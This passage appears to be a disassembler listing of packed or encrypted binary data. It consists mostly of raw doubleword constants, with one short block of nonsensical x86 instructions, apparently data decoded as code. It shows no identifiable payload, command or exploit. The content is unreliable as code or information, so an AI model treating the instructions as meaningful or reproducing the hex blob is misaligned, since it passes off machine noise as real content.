0A9296D24h, 0A5E0BFC6h dd 0F4F9EEC0h, 49F10077h, 914A0914h, 70001EFBh, 2C976A9Fh dd 4EBB499h, 861F6CA3h, 9A6C008h, 55008A85h, 0D70C038Ch dd 5D0810Eh, 0C846B2B0h, 4C1580CCh, 4000B83h, 0BA1FC2D6h dd 18859C43h, 0C2D30A7Dh, 0DB136E79h, 2600528Fh, 0BDD4CB18h dd 0CFD271B5h, 4AA6B120h, 3E0E2F3Dh, 5C35C833h, 62CC8DDAh dd 2E2BA0CCh, 371A75h, 0AFA3B253h, 79A0561h, 0A4AED90Eh dd 6FF804BFh, 8CC73481h, 53349A86h, 6B02105Eh, 0F1FB2AB7h dd 0D8BA8E04h, 12594718h, 4095F2FAh, 0A9E5E64Fh, 9003FB66h dd 2D354C43h, 291D075Ah, 1C7C8B1Eh, 0ADA6E68Fh, 12815520h dd 42E0AFB0h, 44FDBC00h, 4F341CC0h, 21BAA9A8h, 55181392h dd 2DF28837h, 810D00C6h, 0F386598Eh, 0AF0F3AA7h, 0E330DFh dd 20D9987Dh, 0E5AB196Eh, 828FE72Ah, 4EE1EC3Dh, 0F60F40DFh dd 48B7E08Ah, 0A0B6FB3h, 7F40A338h, 46004149h, 3547E408h dd 2C4F972Ah, 836B0F44h, 22DBEA92h, 0BBA89940h, 0EEF7261Dh dd 2404840h, 0A49F8F2h, 9F55A2ADh, 43003F7Bh, 0EC236BCCh dd 5103E4B7h, 4968DAE2h, 4C5790F4h, 0DC4E4D17h, 35882AC0h dd 0BB1C3C6Eh, 0E800E578h, 0F5C9B29Bh, 9A1B0052h, 0CDD9F19h dd 0E900A803h, 2508A6E1h, 0CAD5B6h, 8DF6EB37h, 0C154BBD4h dd 31DEB006h, 3D8A4BE4h, 9000CE97h, 223A16BCh, 5FFE9219h dd 0A87BB000h, 503F083Dh, 0C18A26BFh, 0C4593BBh, 0E1562FE2h dd 7E83A14Ch, 0F50797B0h, 0A8DD325Ch, 4B2648C9h, 72340222h dd 0F2BBF01Fh, 753EBCE0h, 9500B399h, 117C457Ah, 2EC970FEh dd 28C1828Dh, 6CF3A8Eh, 0E6568B9Eh db 59h, 80h, 0D4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 0CA63046Eh in eax, dx push es add [edi-76A3DBD4h], al cmp al, 0E9h dec ebx push ss lahf cli cmp dl, [esi+8] out 81h, al ; DMA page register 74LS612: ; Channel 2 (diskette DMA) (address bits 16-23) mov byte ptr [ebx-7Dh], 0EEh jmp near ptr 280E9007h ; --------------------------------------------------------------------------- dd 0A40FBE40h, 260616F3h, 0C168BF0h, 5404C483h, 482810Fh dd 8921EC38h, 0C29BFF14h, 5A0856A8h, 5E30FF66h, 0A58B7241h dd 8742BB5Ah, 0FB60D8E9h, 0EC4BFFh, 2379AA48h, 0F89FB83Eh dd 0C5039EC7h, 80F6E0F0h, 58193C60h, 0A6BE187h, 5635704Bh dd 51006141h, 7908A8D3h, 0FBC311h, 0F1CD0117h, 0BEC5592Bh dd 9F3B7A03h, 0B453BDh, 0C7124B0Eh, 0A88749CAh, 105BFE00h dd 0B94A3E7Eh, 50F300D0h, 7FF84581h, 0F6035F43h, 1F715324h dd 0E24D900Dh, 275F860h, 0F3D16FFDh, 0B17E3D90h, 7C8B5263h dd 403DBC54h, 55F37F80h, 74061407h, 0C4300D47h, 5547E02h dd 3DBF66C8h, 93C1AFF3h, 0F01DC8Ah, 4A2A6984h, 7DC122F8h dd 0E01CAC38h, 0AE00309Ah, 8B7FB0CFh, 9F25E98Dh, 76C278F4h dd 0A149E040h, 0DA2E12C2h, 7A0EBF5Ch, 9ADB72F9h, 0EB89C1C5h dd 1379F8A6h, 0D027ED85h, 16FB8191h, 0B80737BDh, 41D02500h dd 24E45293h, 53BE7C17h, 28DB08EEh, 2DA15025h, 204426A1h dd 49A7DC9Dh, 97C0CEFFh, 0B0479BCDh, 5F867330h, 56EF0681h dd 4C19F3C7h, 3AFB4095h, 0C0E9B736h, 0F07EF6E5h, 61C489E7h dd 0B7510B90h, 9E597A4h, 7FB527h, 0E99D6D63h, 0AD17E780h dd 6BED1FFh, 6B2381B8h, 0F9B09CC7h, 615B3521h, 2BE6793Fh dd 1EA2EDB6h, 0FA27397Ch, 26A2BECh, 484A78B1h, 651DA816h dd 55EA6DB1h, 5A9C4AF2h, 41098DCh, 883C27Eh, 1B01FB51h dd 11852960h, 8C6E4F25h, 9403F03Bh, 2EF86C4Dh, 4678F010h dd 0A41E00BFh, 0D268BC9h, 0B19F5A5Dh, 0D9F457F0h, 16E9135Bh dd 0C4E6F20Fh, 0CC1FFB8Bh, 501B088Ah, 5C85012Dh, 0C85B96E0h dd 2B0C9239h, 0FEB8DFBCh, 0D39A9F9Fh, 6A32EFDCh, 90185790h dd 0C00BAEAh, 1AEE9CA0h, 0E4B532D6h, 0FA1B09D2h, 8774904Bh dd 0AF3F25DCh, 0A7CD355Fh, 9500F34Ch, 33BAFE12h, 9F2831BDh dd 619DED94h, 753F0849h, 0A52B04EDh, 0D46D5F14h, 8CF6DCDFh dd 492EE305h, 0A2BB1E5Ch, 60033542h, 0B508A3B9h, 0D92D32E5h dd 9C6003D2h, 589083AEh, 0BB07D292h, 9D1AEFE4h, 8A7F1CD3h dd 9D665DB8h, 0F4D85B4Fh, 0BD238848h, 3E245D21h, 0A178BFCBh dd 9C705EE6h, 304029B9h, 0B77114E4h, 151E90CAh, 0FD5EBD34h dd 0D989D632h, 10073680h, 48B5D039h, 0AB969D13h, 0BF78C8FAh dd 2DFBF938h, 0BB21483Ah, 0C01B160Dh, 220A32Dh, 0A5BF35DBh dd 9A12D40Fh, 0C7E7F51h, 0E171D02Dh, 2F21C96Fh, 0C82B7C81h dd 0E1178ED4h, 684E4Ch, 5E6D8AD0h, 0C325C561h, 89714412h dd 5B9D92EAh, 0B92DA7DFh, 3A9D9188h, 33FD9801h, 0A2BB71h dd 50858B26h, 0E847554Ch, 32E25EA0h, 0A6AEE90Bh, 0E5897538h dd 9ABF02F8h, 15C5F7B3h, 0E9345320h, 0E2810B64h, 723F345Dh dd 7B5552F2h, 17850DF2h, 0FE223EC1h, 6E422B41h, 4404CE57h dd 50016108h, 9A3A6EDAh, 0F07BDC29h, 62822B81h, 746F0C73h dd 32F99D8Dh, 93C4B340h, 1EE7527h, 60D44CBDh, 6A5F732Dh dd 74921761h, 0C018880Fh, 95B34634h, 0BB92809Fh, 5BC9AC8Ch dd 0B21FF67Ch, 0D8A2301Ch, 0F427C902h, 0C07F4F41h, 4099BD2Fh dd 572AB911h, 7C95B310h, 0D4D2F11h, 7B685FC9h, 5613F0FFh dd 6EAEFC39h, 8C2F09A7h, 4CDF1D1h, 0D4B5BD01h, 92F6F82Ch dd 9212C36Fh, 0E6E04C1h, 0F5FBFC60h, 7B7FC6B1h, 0F6D300B8h dd 9C1B5C34h, 0CBA5175Bh, 0C60BFF7Bh, 52587E27h, 13D4A954h dd 0F299A0EFh, 638300D5h, 459362E1h, 487FC1Dh, 82FAC0CEh dd 93A3BA72h, 6B7EA14Bh, 0BD5BD4E7h, 0DB8A4FDCh, 400AAEDDh dd 0CFEB56D2h, 8095B73Dh, 2047F138h, 2DB537Fh, 0F2EE04D3h dd 0ADC6A873h, 20324300h, 61E8F430h, 0CF0B002Fh, 92AC46D7h dd 0EC985BBEh, 0E726CD27h, 125C11FDh, 0F34F98Bh, 0FC2FCCh dd 3B5ADF0h, 1909CC8Eh, 43E5A01h, 7227A76Bh, 81411DF1h dd 5B0218D1h, 910EB55Fh, 0EB83801Bh, 95B123BAh, 3F8B1461h dd 0E1FFB820h, 0F4E30481h, 0FC08A91Bh, 5A5A18Ah, 87D357C2h dd 0B0CB70h, 0C6982BBh, 56DB45B9h, 6489749Dh, 0A18DFC5Fh dd 880F0586h, 21CAC019h, 69003310h, 66D38193h, 9F239AE3h dd 1C578494h, 73FBA16Eh, 41D3ACCh, 0FD71108Fh, 746EEB60h dd 0BB947500h, 551E730Fh, 412DB3B0h, 0D4BE7E29h, 2B1D52h dd 1F4585D0h, 13875905h, 0F1310C61h, 0BADB7BE1h, 8975F2C0h dd 85E66B62h, 7E09052Dh, 41D064BDh, 5BDF8B57h, 0B21AF67Bh dd 9FD86C1Dh, 0F1698259h, 3ED400B0h, 0BD568C5Eh, 0B88F14Bh dd 88C700FBh, 0C42209D7h, 0C8FBD220h, 0FE097278h, 57D0861Ah dd 0DF040FE6h, 48BD4149h, 23F1ABC1h, 0C0BF9001h, 335BF86Eh dd 5A00D5A3h, 7A1C2D6Bh, 0CB263FF7h, 82601EF5h, 7377662h dd 89FED335h, 991FE0E5h, 1816B0D2h, 0EAB8905Bh, 4F29FF80h dd 0A6003857h, 0C3B5112h, 3BC50F3h, 5AD161B2h, 89A9E206h dd 0BB492BBDh, 3ECD576Ah, 0F5162DC0h, 7C3500A6h, 47ADDAD9h dd 271CC781h, 898B6443h, 0CFA05D8Dh, 0BC2B8768h, 7A57E355h dd 5700EAFDh, 45F78052h, 0B9009289h, 90C5CA93h, 978B36C6h dd 0D878C2C0h, 5E1C6225h, 3D13DC49h, 0DAAFFDA5h, 9BE692A0h dd 405E2A00h, 0A0E23F98h, 5B0A9224h, 833D5725h, 690E5485h dd 27EF09EFh, 0DEEFB976h, 5A170940h, 48C00Ch, 1F276A3Eh dd 2FB81437h, 0E91CD87Ch, 7C2F024Eh, 0F75BDE4Fh, 76000CE2h dd 2F64DDC7h, 0D1A0C5D4h, 309C039Dh, 0AFF823E0h, 0DB431649h dd 45CCAF63h, 5A2DE829h, 7A6F613h, 86E19FEAh, 60A809D5h dd 0EC00A94Ah, 8CFB0EF3h, 8BE198FDh, 207DBB91h, 7E8AE138h dd 0EF806262h, 0C545E6D7h, 0BFEDE426h, 80F5AE2h, 0DDA40FC7h dd 8060EAA2h, 841DB1BDh, 171A535Ch, 0BBAC64Ch, 0CF77CD72h dd 605D4BE2h, 13FA215h, 0E7B7418Ch, 6F82DB80h, 76083BC3h dd 329D30CDh, 0BB044685h, 3B18207Dh, 5A905064h, 27C3B67Ch dd 85C0A4CDh, 8CEA78Ch, 12FD0EA0h, 0DF160509h, 169187B7h dd 0BAD75085h, 1DF159C1h, 80CBBD6Ah, 0A4DB6268h, 246672BBh dd 82F84898h, 447A289Dh, 72DCE3D4h, 0E4CE1227h, 1220EBD0h dd 27DC2F1Ch, 38E65136h, 3D8D091Ch, 0F71B4E2Fh, 0A21EE66Eh dd 1792EC1Ch, 0AB1DD4A7h, 0FA951180h, 0A9E1B750h, 18C23F8h dd 0CBF4431h, 0CD31FB37h, 917BFCA7h, 7F41E073h, 0FF0916CAh dd 40213093h, 5F000314h, 5D1B0B2Bh, 992ED1Fh, 2827FD55h dd 0E495EFF7h, 0E2A4EAA4h, 13D5B0C5h, 0D231E1BDh, 0AE7075BEh dd 96E9614Bh, 0EB069B8h, 0B98BF15Ah, 25BD6062h, 5E1A9CDFh dd 0C39ADE56h, 0A8B6CD4Fh, 9845CF69h, 0EDB10C32h, 85765BA9h dd 953EE988h, 0A8D8A45Bh, 0B0865A21h, 7F4AB3C4h, 88AF7EFDh dd 30A7C718h, 815D7170h, 873CCB05h, 9BFB07F5h, 596DCB2Ch dd 4C84F10h, 238F243Bh, 2F6F794Bh, 0F400DBD8h, 0D3472AEFh dd 160EDAF0h, 60FE8BD7h, 9CAA3D6Fh, 0C2F3D827h, 0EF2D9684h dd 897D9F7Ah, 64A25CEDh, 5605FEF5h, 0F3ABFCB4h, 426F92EAh dd 325F0325h, 7BB3400Bh, 0DBD497C5h, 0E946672h, 13A3C627h dd 5C848761h, 5BBDF4CBh, 98452417h, 9D097D12h, 17E6D721h dd 3B9B2EEBh, 57A05A8Fh, 97D3997h, 150D8517h, 0BE4A91F2h dd 0F2BF4775h, 98710076h, 151B896h, 7F9C7499h, 80DE949Dh dd 0C6687C2Eh, 0B00045Eh, 9EB7B242h, 163849E2h, 0AC27EC58h dd 6ABE4FD1h, 191426E4h, 0E2C1F7CEh, 0A82B6154h, 0B247B03Ch dd 7E77398Ah, 93C79211h dd 1D8BED9Bh, 258DFE01h, 16AE6222h, 8BB72F45h, 0AF74C44Fh dd 17C8C59Ah, 0F86793C9h, 2DF2B5C7h, 786133FCh, 0D17C8853h dd 73442D11h, 0C2518D3Ch, 0B83CED93h, 0B2F53BDAh, 0BAFE8A13h dd 8F95C89Ah, 49E80CC1h, 0F2A97FC6h, 0AAF93750h, 1E3DDD90h dd 9778FC25h, 1372AC21h, 9FBA26FFh, 0C4F2C1DFh, 9D3A3370h dd 0C01A5AFDh, 609668C9h, 0E1F1B752h, 0E055893h, 0F4F817B5h dd 3777F925h, 926A110Eh, 0D7A30C16h, 10C40B5Ah, 62299C75h dd 50F94B4Bh, 9304DEE6h, 0D1561823h, 0DF2974A1h, 0AD010EB8h dd 2132AAB3h, 66E13568h, 0DA0FE89Ch, 69F12B0Bh, 0C714DFA0h dd 258D9B1Ah, 0C4B8F76Bh, 0BF5A10DBh, 6A7FB8DDh, 0D64A2602h dd 0F3843C05h, 1B159004h, 600B79CAh, 467F8E0Fh, 9E5C97C9h dd 9CB1DF4Bh, 0DC6340E8h, 51783411h, 0E4595ACBh, 8A39B529h dd 0AA84C374h, 54E092A6h, 6D1329EDh, 89A9783Bh, 0BD8C17ACh dd 0C928DE7Eh, 0B55CFAB7h, 23B7CA0Bh, 9993D14h, 5F9D2BDAh dd 0BDDFEAA9h, 801B910Bh, 40BBFE75h, 0C596011Fh, 0F1C7E9D4h dd 7073C6FFh, 7D807F72h, 0ACF5F4FBh, 0DB7DEB12h, 82024EF0h dd 8154E0D5h, 383027EFh, 0F2E813D4h, 32E649h, 161C69B2h dd 0DDFEBFE6h, 2DF29549h, 0A5D6FC5Bh, 718A30F3h, 8A43E032h dd 6BB6A5DDh, 6B85F6F0h, 97AFC603h, 0BE5B181h, 170C5FB2h dd 7D9B02DDh, 0DA32752Dh, 0FA402FEDh, 4A1AF848h, 8E2A0B0h dd 0F0FDB28Bh, 0A8504EA8h, 1D13C01Ah, 0E3BBA32Eh, 4B3D30F0h dd 0ACC15214h, 59BD4EEDh, 7005EBE8h, 7EDD71F0h, 2B3DDC09h dd 0E9ECF733h, 0E05C4AAAh, 418DCDEBh, 3072ACA6h, 0FCEF81B5h dd 53176F37h, 4AA6D1FFh, 4A3BBE5h, 25F68A4Bh, 0F63C7486h dd 76769Dh, 56FDEABFh, 6A2FA5ECh, 0D66A9002h, 0AD70733h dd 0BFA11AABh, 0DBF36580h, 60018B3h, 0FD4ACB0h, 195BD9BFh dd 4525090h, 53B16A51h, 9298B87Ah, 90750AAAh, 2602DE84h dd 8E3E682h, 8842F7D0h, 978BECFDh, 11BCEC1h, 8E7ACDE9h dd 75692428h, 79C4732Dh, 72DE751Bh, 87500CDh, 0B2211CA2h dd 4FE00D4h, 1D6A4CABh, 74B913Fh, 0A6D345A9h, 9F0AA008h dd 0E8915AC1h, 98C009AEh, 1E00F1FCh, 0A7B30004h, 0E01BD07Fh dd 61EBBD16h, 49C1A653h, 0A52568A4h, 23C5F9EBh, 0A25CA77Eh dd 0AD4C1Bh, 74D98E66h, 21F1AAB0h, 147160C4h, 0C1A408E8h dd 70C998Eh, 22FD8DC1h, 870E743Ah, 0AB29C53Eh, 0D7825DF2h dd 66E2EECAh, 1C43777h, 17482FA8h, 6BBED593h, 450328A2h dd 82862C5Bh, 8CAC8890h, 52735C04h, 60BF8F04h, 0F2A0EF31h dd 5B58BD17h, 0EBF10509h, 1805D1ABh, 3009CA3Ah, 3BF3DF7h dd 70332F47h, 80144AD4h, 0F6DF816Dh, 46978945h, 88A1A834h dd 11628014h, 46F18902h, 95AE961Dh, 5DB84280h, 0FEF9A9EEh dd 0E9FD04CFh, 0E9F571E4h, 3FB9311Ah, 3AA4B3h, 0D2EB8100h dd 3B284D80h, 0C2BD6CBAh, 70DFA997h, 0A711BFF9h, 29A73EF6h dd 8B5F95Ah, 4907E1B5h, 1E9D7EA2h, 1A0ED0FFh, 4778E9D9h dd 0E651FFh, 1D41B2DCh, 6A1C9B44h, 0A682B552h, 0E0B8B354h dd 0E14E4953h, 61F1E0FEh, 0F5F99DA1h, 6A086508h, 0A9451727h dd 9E11889Ch, 52D165E9h, 11953140h, 0F3BA9720h, 0DF70E7A9h dd 1AEB1197h, 0EADFE517h, 89B6377h, 0BF8E5522h, 0C4F6725Ah dd 16842F77h, 3F804537h, 0EB906041h, 61B00FF1h, 90292E7h dd 3E891BDh, 0B350BA66h, 0A7D16A92h, 0D58C4BBBh, 0EEB92DFCh dd 96BB3C80h, 426F6BF4h, 0A5C2B9E4h, 2537FC2h, 0A53861D1h dd 2BADB680h, 0B50B5441h, 0DCB81EA4h, 9A7EFC9Ch, 0D00ADA02h dd 0D185AA7Ch, 17EF071Bh, 0FB8B25B0h, 246FD5F0h, 111295C0h dd 0D45F250Dh, 901F42Eh, 0ACEDE973h, 3265A483h, 44F3203Fh dd 4F58519Eh, 0CF3A00BBh, 6D21718Ch, 8C4C48C3h, 27BD207Bh dd 0EDCF5B4Bh, 0E4E78009h, 8AB77Dh, 4BEC5CD7h, 0DB4ABA33h dd 1000EDE8h, 0CF816024h, 0CD13DCFAh, 0F3090350h, 0E9E3D428h dd 183CF181h, 0E69A3A3Eh, 0CE1CC8h, 0BEFAC4ACh, 0B4FB127Bh dd 51073052h, 0B7B0BD4Ah, 20953F04h, 69A98A0Fh, 7AB86000h dd 617109FDh, 7C001A9Dh, 82FE607Fh, 0F103664Eh, 23F479A5h dd 4BE7808Bh, 0F67E4C6Ch, 1A859D0Bh, 4979E777h, 0FD4697Ch dd 5035928Dh, 919AF7E0h, 51971BFBh, 0E2D76B39h, 71A3736Bh dd 0B335E01Ah, 3463849Fh, 2821BC12h, 0FC9F0603h, 59AC2BBEh dd 0B5E01814h, 565AD7FBh, 0B7CBC035h, 80079C1h, 0CAF4DA16h dd 0B7E1FF90h, 3A33C2C1h, 5822BD8Eh, 4E069497h, 0B0CAA766h dd 4B50D833h, 34FECAEBh, 26C15904h, 46BEC70h, 0BC1B9512h dd 97E192BCh, 4BD7C334h, 3175D1F9h, 0AEA72E01h, 0D05F02A0h dd 0DEBD3B30h, 4E07CB81h, 0AACCEC74h, 0D310077Bh, 51DFE46Bh dd 2A8B91E1h, 624DD9F2h, 0E37D984Bh, 5D2E2A0Ah, 0E50B834Bh dd 60F0F6FBh, 25150DEEh, 3C195300h, 4895177Ah, 30FC27FDh dd 0FE9DBF50h, 539061D8h, 5F119C51h, 0E794C86Dh, 68F70137h dd 86F5EAB4h, 2DB43B53h, 2919124Bh, 2576F79h, 0D1B501C7h dd 22385F2Eh, 884E0F50h, 0CFB270EAh, 4000379Bh, 0EB394D3Bh dd 732C8h, 0E828EF02h, 0E0F1BB55h, 0E65F3325h, 0A799F15h dd 76D290A5h, 248A00C1h, 0DBCD124Ah, 0E9245B85h, 60960DFAh dd 194104EEh, 0F4B5052Fh, 0D6B7BDC1h, 270F59D2h, 77034E51h dd 0CF2C32F7h, 0DB15E360h, 99C04B0Dh, 0FBA16ED6h, 0F12BDD2Fh dd 45942B8Dh, 0A0358AAFh, 29CAE3Fh, 1259767Ch, 3160B63Ah dd 51BF1519h, 0BC6D6B20h, 0EF894142h, 0A17E407Dh, 0BC0E0B4Eh dd 698E74BFh, 0B9C3216h, 0AB29D7DBh, 0AB6BF58h, 965C95DCh dd 0F0B59BAAh, 0D6FA0042h, 744ABF50h, 4CF74C17h, 0DEEC82E4h dd 0BC149B00h, 0AF3D4616h, 5A0A0404h, 0B8849E81h, 0F3B992CDh dd 7E0428BCh, 11633322h, 2F2129EAh, 56847AE8h, 0BED0945Fh dd 0E9C1DB0Fh, 4014F631h, 99AB9F54h, 5FB9161Fh, 651D77E7h dd 8B63F428h, 0B7F88AA1h, 5EDE0A0Fh, 0A06EBF00h, 97587639h dd 0C5C2DBEDh, 2D835C8Ah, 1B59B2FBh, 230B8D18h, 0DF3C6772h dd 8075AD08h, 6A45CEF2h, 0B32723DCh, 0E45A74C0h, 0DA65D250h dd 0C1BDB9D2h, 8A3A179Bh, 70005858h, 6D61962Dh, 0FB42C04Bh dd 0F906C61Dh, 3AC6D40h, 0D302652h, 51783127h, 0ACA37E0Bh dd 7763BBC0h, 949532CBh, 7B925F7Dh, 474100B9h, 0E68D0EF0h dd 3DBE2D64h, 138EC810h, 0A24C0316h, 3DF20488h, 0F0805780h dd 0F89DE22Ah, 0E9019B19h, 0B10CE1A5h, 6B78B48Ah, 5CFC1C22h dd 802DBD9Dh, 6CF84A6Ah, 6409B4F5h, 0C4942FA4h, 1BF4B728h dd 0AD64207Ah, 0FDD7BFD5h, 0BD12CE7Ah, 0F97E947Eh, 7DCBC05h dd 0A330454Ch, 96F8E155h, 65691D8h, 234EE05Bh, 0C6235197h dd 0E4806FD6h, 0B2832845h, 893E45F9h, 5AFC03C1h, 1E217F4h dd 21C4FF9Dh, 0F4EEE7BBh, 0C63204BBh, 0D328ECA7h, 38D6D05h dd 23216FEBh, 53A20D15h, 3B23FD52h, 0E885FF2h, 1D73FD80h dd 589C5ECEh, 9802A74Ch, 427D702Eh, 0CC4EE5Ch, 6BFA3B40h dd 0CF5E818Dh, 0C88E02BAh, 1C5450CCh, 0AC7E0A40h, 0BB065B2Ah dd 62824D64h, 0DDD8DD61h, 0DCE5C78Dh, 2F5F805h, 0E18CAFC8h dd 0CFB35F12h, 0D94AA405h, 0D8FA04D5h, 0D9BD860Ah, 9D5EAD0Ah dd 7A9CDFA7h, 0F824B898h, 0F11A4788h, 44F3DD2Dh, 0EC6E52h dd 0CC519D65h, 86BF577Ah, 0A558983Eh, 0D692FE5Fh, 0FEE0BD96h dd 126A70A5h, 0E1355E59h dd 1E6E2BB3h, 53385A07h, 8C796922h, 0C0C0B60Fh, 0B14A3D03h dd 9F4B1E78h, 20B5F18h, 23090291h, 710D525Dh, 5089135Bh dd 8073DB20h, 8BB5A585h, 0F94B1E02h, 0ACB11301h, 0D205A47Eh dd 0EE126CBCh, 0E1ED31EBh, 7ADA3A63h, 99C018C8h, 5879D0CDh dd 0E64CB1A9h, 0B4D07027h, 5BD42152h, 232670BEh, 2B40ED9Dh dd 7CE7B7h, 59B529C1h, 0B3960004h, 8D8B5E5h, 0C0935BEDh dd 0EF3FBBEBh, 0A852288Fh, 0C7A92D87h, 96D6097Eh, 14A3C1F9h dd 0F380FC64h, 9EB7554Eh, 81D7DA4Bh, 56C83F7Eh, 0A6892B61h dd 0E67105EDh, 70AB4345h, 7A743BAEh, 0E7201F01h, 0CC41F32Bh dd 40CDA87Bh, 2A9AFB9Dh, 4A137BDh, 0FB1F3AB5h, 0E2BD7F98h dd 1F949D11h, 5987BB1Ch, 61EA35D2h, 0B8830F12h, 61EA4A3Dh dd 3B29D57Dh, 889D73F2h, 0F57A163Dh, 0D0ED8D6Ah, 6CA5AC0h dd 958777D2h, 1959DEFBh, 69059118h, 2E687471h, 4AE5E2EAh dd 0B509ABC0h, 8F074BF5h, 0C3B3178Ch, 88838BC0h, 0B1704EE9h dd 6E9B7B5Ah, 0D5EFE581h, 5D47F879h, 5E2E933Bh, 8B131BA3h dd 87369BC1h, 0E30E708h, 24A55C5Eh, 2F58CE6h, 2C01B7D9h dd 519F5377h, 3DC9661Bh, 9DBE8BAAh, 240AD6FCh, 0CE460A4Fh dd 760711F7h, 47C88F5Eh, 8EBF0590h, 0F2E60C2h, 9B33FAE4h dd 388A8D74h, 0E1AB9404h, 0F9AD2FEAh, 1D0963BCh, 74C193FEh dd 1C6E0535h, 0F0D1A617h, 12F7090h, 0FDC6D9A0h, 6E58729Ah dd 4B4B88h, 74850930h, 56B805DCh, 142CB112h, 81C780ABh dd 9D1353EFh, 0BBA746Ah, 81FE05C8h, 778F01DCh, 66D5BAEDh dd 1DDD300Eh, 0F83B0B41h, 0F600975h, 5E4E580h, 8AF78271h dd 0AF2400BAh, 754363C5h, 0BD7125D0h, 85B7D146h, 6FAC0271h dd 0FAF88B85h, 0A6801DDEh, 0ECDC4D84h, 9D4CCB61h, 0A22E173Dh dd 67A6D636h, 0FEF111A0h, 9D0B1F7Eh, 568B8E7Ah, 19B74728h dd 0D94B38F5h, 0CCC38210h, 5E75AAA5h, 1DF0A2F0h, 899ED355h dd 6DC03BA8h, 0BF04D1FFh, 44BD739h, 78A21DBCh, 0F1260211h dd 2A7F61F0h, 229E7701h, 0F95EF713h, 44BFA56Eh, 8A54E027h dd 310FFD19h, 0BF00F90Dh, 0EB0CF8B6h, 4585A3Ah, 0FFEC9890h dd 0E63EAC31h, 931AE24Ah, 50AFF84Eh, 1D091238h, 1731EB1Ch dd 382F54E9h, 1C41780Fh, 0E6DBC484h, 0AAE0B891h, 0A879C04h dd 0F54FC1FBh, 22062BEBh, 5EDF4DBDh, 34F98850h, 9F9A8802h dd 0FFF3DE51h, 0BF0F5259h, 4C67A298h, 0F373775Fh, 0C1E090D0h dd 0F867C8Ah, 0EA96BB7h, 2D2EFB98h, 0BE13097h, 0A8754BBDh dd 0F1C4A448h, 0DC0328AEh, 0FC1C2F00h, 0EC19221h, 5654270Ch dd 5F5A71E6h, 7D88BBC5h, 8486FEFFh, 84600997h, 8C9535FAh dd 26E6E6ABh, 0CFB9EB33h, 9AB02288h, 150520C9h, 0E470E603h dd 0DC095271h, 0E23B3FC9h, 11112BFh, 3A8660EEh, 0E700FD95h dd 2DC435FEh, 58539CFh, 0C5B77F24h, 0F1F2AB3Bh, 652F3948h dd 566CB2FDh, 0AF8313A8h, 3B72DCh, 0EDEB3CB8h, 81687DA6h dd 0CEF99C00h, 0D4263002h, 0FDD55E42h, 0FABF1275h, 9E46B7E1h dd 0C82B2877h, 4FFF77D9h, 0C0B6ECD1h, 0A95D15B5h, 259A018Eh dd 0DE33AF62h, 651C6E3Dh, 96194C5h, 0E997B4AFh, 5B3BADF3h dd 268D88DEh, 124C7E4Bh, 0C0A9BD50h, 5BB5BB07h, 10356ADCh dd 0BFF813CEh, 200EBF22h, 0BC78BBF9h, 0E91E9C0Bh, 257E5B5Bh dd 2976C264h, 25B1F49Dh, 58E6C262h, 0DB0CC2B7h, 72DB80CFh dd 0C2B983AFh, 22AD625h, 5DA9FBD0h, 79883C45h, 2CD74D1Ah dd 0A522C0AEh, 48D4106Ch, 0BD0BAEFCh, 94DF1A29h, 94D71250h dd 0F46FEE16h, 0D886BC3Dh, 0F253A78Bh, 2D347920h, 90376A5Fh dd 3883A087h, 1FB5D160h, 9C6528F5h, 60D83AB0h, 4B69BA1Fh dd 0C1FD8501h, 0DD2B6165h, 0B05666E6h, 1860B255h, 6C296EDBh dd 427B9DEh, 0D2D1F310h, 0B21F657Dh, 575EFB5Ah, 24118D9Dh dd 1069825Eh, 58CB8856h, 4EBF25F6h, 0C6B3CF7Ah, 0B209ED0h dd 7D2ECFECh, 0D8A53B74h, 2FFB9DECh, 25091B6Ah, 20BD751Dh dd 4E5BAF00h, 5E5F8C9Dh, 0F1A6C5FAh, 76E36B2Eh, 0B5168490h dd 0E9CAAF25h, 4EE4ECB0h, 0F6B0D005h, 0B4046B3Bh, 8494D99Dh dd 0B2FC8BEFh, 0DE493016h, 8D01FB09h, 82EDA9C9h, 5CE1394Eh dd 3B4B51B4h, 1A2A2970h, 0A210000Ah, 40A9F794h, 9C2F793Dh dd 51AA5331h, 9421818h, 0A28AAFA3h, 31829971h, 5721DDBDh dd 0A4F0ADABh, 7A8E084Bh, 7E959522h, 401E46Fh, 9EAF04A0h dd 0E9268419h, 40A17BB8h, 75A73E04h, 7999AA0h, 16AF733Eh dd 92BB2BDDh, 9ADB6015h, 96A7070h, 12CDB529h, 0F220BC71h dd 997AAE8h, 72875BC0h, 629B5457h, 4FFE7E6h, 0B01616C3h dd 0E69519C6h, 0F7625960h, 936E4Bh, 9EC092E6h, 124FB6B5h dd 0F0B72C9Ah, 504A8E1Dh, 1AB240B6h, 7ECE8230h, 0FEC71755h dd 0B1015215h, 1F93EE7h, 8807E4E8h, 7D0A39AAh, 0EFF8F864h dd 7E30CA80h, 0DB05E17Ah, 501A1279h, 0F442AD8h, 8BAD1615h dd 0ED5E81A0h, 265A1D9Bh, 7EA6CBD5h, 94AF4DE0h, 23C4E24Bh dd 925DF9ABh, 94BE3912h, 0BC1FED03h, 0AEE3010Ch, 2E065E78h dd 65062016h, 97AD105Eh, 1501B580h, 0D804AFC1h, 83E2888Ch dd 7676E0FBh, 5868A100h, 0BF2B5915h, 2EFC162Ah, 7EC1EF10h dd 0F9F14616h, 0BB14602Bh, 0D4B57335h, 9AA34028h, 0D1094718h dd 71F4D540h, 0DFE640BEh, 9A975BA2h, 0AFE97D48h, 0E9E56088h dd 0D001D42Eh, 5D2C6542h, 7372EDFBh, 0B27F2D9Eh, 0D2F97DD7h dd 2F45BD84h, 0BFC82F29h, 0FB575AF3h, 0E7B0B718h, 5F552515h dd 359D20EEh, 5D1404BBh, 20A6F892h, 7BF0532h, 0EB250281h dd 89F90A12h, 76001EBCh, 2A5721FBh, 4F7BD01Fh, 0B27FEAC5h dd 0BA2A7800h, 34D34B4Ch, 0F68E0F27h, 21A160D4h, 0F125BD03h dd 0B75BEC1Eh, 2841BA4Dh, 0A6318912h, 79CBC4C2h, 0BA344ADFh dd 5889729Bh, 875F307Dh, 0F34CF9EBh, 131C7CF2h, 0EC61541Dh dd 0A6BA9250h, 9F250946h, 5A81DF72h, 2B31ED9Dh, 882E56DDh dd 62E2DEEAh, 66ACFA0Bh, 949EF5B7h, 0F55BDF42h, 2DA71117h dd 58C748E3h, 74A81BAh, 884A11F7h, 20F43AFFh, 90A64A18h dd 0EA50FB4Ah, 545E9D33h, 87B5DFA5h, 79E06924h, 2D1555Eh dd 6ADB8BBBh, 